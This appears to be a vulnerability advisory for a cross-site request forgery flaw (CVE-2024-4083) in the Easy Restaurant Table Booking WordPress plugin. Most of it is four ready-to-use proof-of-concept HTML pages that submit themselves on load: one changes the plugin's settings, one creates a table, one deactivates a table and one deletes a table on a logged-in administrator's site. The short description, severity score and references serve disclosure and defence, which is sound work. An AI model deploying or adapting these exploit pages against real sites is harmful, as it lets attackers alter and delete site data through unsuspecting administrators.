Description
The Easy Restaurant Table Booking plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing or incorrect nonce validation when saving settings. This makes it possible for unauthenticated attackers to change the plugin’s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
Severity
4.3 (Medium) - CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Affected Version
<= 1.0.0
PoC :
<html>
<!-- eneriiiiiii -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php?page=tbl-settings" method="POST">
<input type="hidden" name="savesetting" value="1" />
<input type="hidden" name="hours" value="09" />
<input type="hidden" name="mintus" value="30" />
<input type="hidden" name="ampm" value="am" />
<input type="hidden" name="hours1" value="09" />
<input type="hidden" name="mintus1" value="30" />
<input type="hidden" name="ampm1" value="pm" />
<input type="hidden" name="time_intval" value="30" />
<input type="hidden" name="auto_confirm" value="on" />
<input type="hidden" name="success_msg" value="eneri" />
<input type="hidden" name="date_format" value="" />
<input type="hidden" name="confirm_subject" value="eneri" />
<input type="hidden" name="confirm_msg" value="eneri" />
<input type="hidden" name="rejected_sub" value="eneri" />
<input type="hidden" name="rejected_msg" value="eneri" />
<input type="hidden" name="savesettings" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
- CSRF on Create table
<html>
<!-- eneriiiii -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php?page=tbl-addtable" method="POST">
<input type="hidden" name="action" value="newtable" />
<input type="hidden" name="vc_name" value="eneriiiiiiiiiiiiii" />
<input type="hidden" name="capacity" value="666" />
<input type="hidden" name="is_active" value="1" />
<input type="hidden" name="createtable" value="Add Table" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
- CSRF on Deactive table
<html>
<!-- eneriiii<3 -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php">
<input type="hidden" name="page" value="tbl-list" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="st" value="0" />
<input type="hidden" name="t" value="edit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
- CSRF on delete table
<html>
<!-- eneriiii -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php">
<input type="hidden" name="page" value="tbl-list" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="t" value="del" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Reference
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-table-booking/easy-restaurant-table-booking-100-cross-site-request-forgery
- https://www.cve.org/CVERecord?id=CVE-2024-4083